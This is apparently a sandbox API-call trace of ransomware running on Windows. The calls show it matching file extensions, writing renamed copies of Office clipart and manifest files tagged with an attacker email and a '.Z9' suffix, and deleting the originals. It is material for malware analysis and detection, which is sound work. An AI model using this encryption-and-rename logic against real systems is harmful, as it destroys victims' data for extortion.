	[0080.611] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.611] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x2acfca8, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfca8*=0xc011a, lpOverlapped=0x0) returned 1
	[0080.624] SetEndOfFile (hFile=0x2bc) returned 1
	[0080.624] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3eeb9f0
	[0080.629] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1
	[0080.629] WriteFile (in: hFile=0x2bc, lpBuffer=0x3eeb9f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3eeb9f0*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0080.631] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1
	[0080.631] WriteFile (in: hFile=0x2bc, lpBuffer=0x3eeb9f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3eeb9f0*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0080.633] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1
	[0080.633] WriteFile (in: hFile=0x2bc, lpBuffer=0x3eeb9f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3eeb9f0*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0080.987] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3eeb9f0 | out: hHeap=0x500000) returned 1
	[0081.009] CloseHandle (hObject=0x2bc) returned 1
	[0081.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0082.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0082.260] lstrlenW (lpString=".doc") returned 4
	[0082.260] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0082.260] lstrlenW (lpString=".docx") returned 5
	[0082.260] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0082.260] lstrlenW (lpString=".pdf") returned 4
	[0082.260] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0082.260] lstrlenW (lpString=".xls") returned 4
	[0082.260] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0082.260] lstrlenW (lpString=".xlsx") returned 5
	[0082.260] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0082.260] lstrlenW (lpString=".ppt") returned 4
	[0082.260] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0082.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0082.260] lstrlenW (lpString=".zip") returned 4
	[0082.260] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0082.260] lstrlenW (lpString=".rar") returned 4
	[0082.260] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0082.260] lstrlenW (lpString=".bz2") returned 4
	[0082.260] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0082.260] lstrlenW (lpString=".7z") returned 3
	[0082.260] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0082.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0082.261] lstrlenW (lpString=".dbf") returned 4
	[0082.261] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0082.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0082.261] lstrlenW (lpString=".1cd") returned 4
	[0082.261] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0082.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0082.261] lstrlenW (lpString=".jpg") returned 4
	[0082.261] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0082.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0082.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0082.261] lstrlenW (lpString=".doc") returned 4
	[0082.261] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0082.261] lstrlenW (lpString=".docx") returned 5
	[0082.261] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0082.261] lstrlenW (lpString=".pdf") returned 4
	[0082.261] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0082.261] lstrlenW (lpString=".xls") returned 4
	[0082.261] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0082.261] lstrlenW (lpString=".xlsx") returned 5
	[0082.261] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0082.261] lstrlenW (lpString=".ppt") returned 4
	[0082.261] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0082.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0082.261] lstrlenW (lpString=".zip") returned 4
	[0082.261] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0082.261] lstrlenW (lpString=".rar") returned 4
	[0082.261] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0082.261] lstrlenW (lpString=".bz2") returned 4
	[0082.261] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0082.261] lstrlenW (lpString=".7z") returned 3
	[0082.261] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0082.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0082.261] lstrlenW (lpString=".dbf") returned 4
	[0082.261] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0082.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0082.262] lstrlenW (lpString=".1cd") returned 4
	[0082.262] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0082.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0082.262] lstrlenW (lpString=".jpg") returned 4
	[0082.262] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0082.262] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.262] lstrlenW (lpString="AN00965_.WMF") returned 12
	[0082.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.726] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=7072) returned 1
	[0082.726] CloseHandle (hObject=0x320) returned 1
	[0082.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220
	[0082.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.726] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.726] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0082.727] GetLastError () returned 0x0
	[0082.727] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1ba0, lpOverlapped=0x0) returned 1
	[0082.728] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1bb0, lpOverlapped=0x0) returned 1
	[0082.729] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.729] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.730] SetEndOfFile (hFile=0x388) returned 1
	[0082.730] CloseHandle (hObject=0x388) returned 1
	[0082.730] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.730] SetEndOfFile (hFile=0x320) returned 1
	[0082.731] CloseHandle (hObject=0x320) returned 1
	[0082.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1
	[0082.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0082.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0082.732] lstrlenW (lpString=".doc") returned 4
	[0082.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.732] lstrlenW (lpString=".docx") returned 5
	[0082.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.732] lstrlenW (lpString=".pdf") returned 4
	[0082.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.732] lstrlenW (lpString=".xls") returned 4
	[0082.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.732] lstrlenW (lpString=".xlsx") returned 5
	[0082.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.732] lstrlenW (lpString=".ppt") returned 4
	[0082.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0082.732] lstrlenW (lpString=".zip") returned 4
	[0082.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.732] lstrlenW (lpString=".rar") returned 4
	[0082.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.732] lstrlenW (lpString=".bz2") returned 4
	[0082.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.733] lstrlenW (lpString=".7z") returned 3
	[0082.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0082.733] lstrlenW (lpString=".dbf") returned 4
	[0082.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0082.733] lstrlenW (lpString=".1cd") returned 4
	[0082.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0082.733] lstrlenW (lpString=".jpg") returned 4
	[0082.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0082.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0082.733] lstrlenW (lpString=".doc") returned 4
	[0082.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.733] lstrlenW (lpString=".docx") returned 5
	[0082.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.733] lstrlenW (lpString=".pdf") returned 4
	[0082.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.733] lstrlenW (lpString=".xls") returned 4
	[0082.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.733] lstrlenW (lpString=".xlsx") returned 5
	[0082.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.733] lstrlenW (lpString=".ppt") returned 4
	[0082.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0082.733] lstrlenW (lpString=".zip") returned 4
	[0082.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.733] lstrlenW (lpString=".rar") returned 4
	[0082.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.733] lstrlenW (lpString=".bz2") returned 4
	[0082.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.733] lstrlenW (lpString=".7z") returned 3
	[0082.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0082.734] lstrlenW (lpString=".dbf") returned 4
	[0082.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0082.734] lstrlenW (lpString=".1cd") returned 4
	[0082.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0082.734] lstrlenW (lpString=".jpg") returned 4
	[0082.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.734] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.734] lstrlenW (lpString="AN01174_.WMF") returned 12
	[0082.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.734] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=27858) returned 1
	[0082.734] CloseHandle (hObject=0x320) returned 1
	[0082.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220
	[0082.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.735] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.735] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0082.735] GetLastError () returned 0x0
	[0082.735] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x6cd2, lpOverlapped=0x0) returned 1
	[0082.737] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x6ce0, lpOverlapped=0x0) returned 1
	[0082.738] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.739] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.739] SetEndOfFile (hFile=0x388) returned 1
	[0082.739] CloseHandle (hObject=0x388) returned 1
	[0082.740] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.740] SetEndOfFile (hFile=0x320) returned 1
	[0082.741] CloseHandle (hObject=0x320) returned 1
	[0082.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1
	[0082.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0082.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0082.742] lstrlenW (lpString=".doc") returned 4
	[0082.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.742] lstrlenW (lpString=".docx") returned 5
	[0082.742] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.742] lstrlenW (lpString=".pdf") returned 4
	[0082.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.742] lstrlenW (lpString=".xls") returned 4
	[0082.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.742] lstrlenW (lpString=".xlsx") returned 5
	[0082.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.742] lstrlenW (lpString=".ppt") returned 4
	[0082.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0082.742] lstrlenW (lpString=".zip") returned 4
	[0082.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.742] lstrlenW (lpString=".rar") returned 4
	[0082.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.742] lstrlenW (lpString=".bz2") returned 4
	[0082.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.742] lstrlenW (lpString=".7z") returned 3
	[0082.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0082.742] lstrlenW (lpString=".dbf") returned 4
	[0082.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0082.742] lstrlenW (lpString=".1cd") returned 4
	[0082.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0082.742] lstrlenW (lpString=".jpg") returned 4
	[0082.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0082.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0082.742] lstrlenW (lpString=".doc") returned 4
	[0082.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.743] lstrlenW (lpString=".docx") returned 5
	[0082.743] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.743] lstrlenW (lpString=".pdf") returned 4
	[0082.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.743] lstrlenW (lpString=".xls") returned 4
	[0082.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.743] lstrlenW (lpString=".xlsx") returned 5
	[0082.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.743] lstrlenW (lpString=".ppt") returned 4
	[0082.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0082.743] lstrlenW (lpString=".zip") returned 4
	[0082.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.743] lstrlenW (lpString=".rar") returned 4
	[0082.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.743] lstrlenW (lpString=".bz2") returned 4
	[0082.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.743] lstrlenW (lpString=".7z") returned 3
	[0082.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0082.743] lstrlenW (lpString=".dbf") returned 4
	[0082.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0082.743] lstrlenW (lpString=".1cd") returned 4
	[0082.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0082.743] lstrlenW (lpString=".jpg") returned 4
	[0082.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.743] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.743] lstrlenW (lpString="AN01184_.WMF") returned 12
	[0082.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.744] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3746) returned 1
	[0082.744] CloseHandle (hObject=0x320) returned 1
	[0082.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220
	[0082.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.744] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.744] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
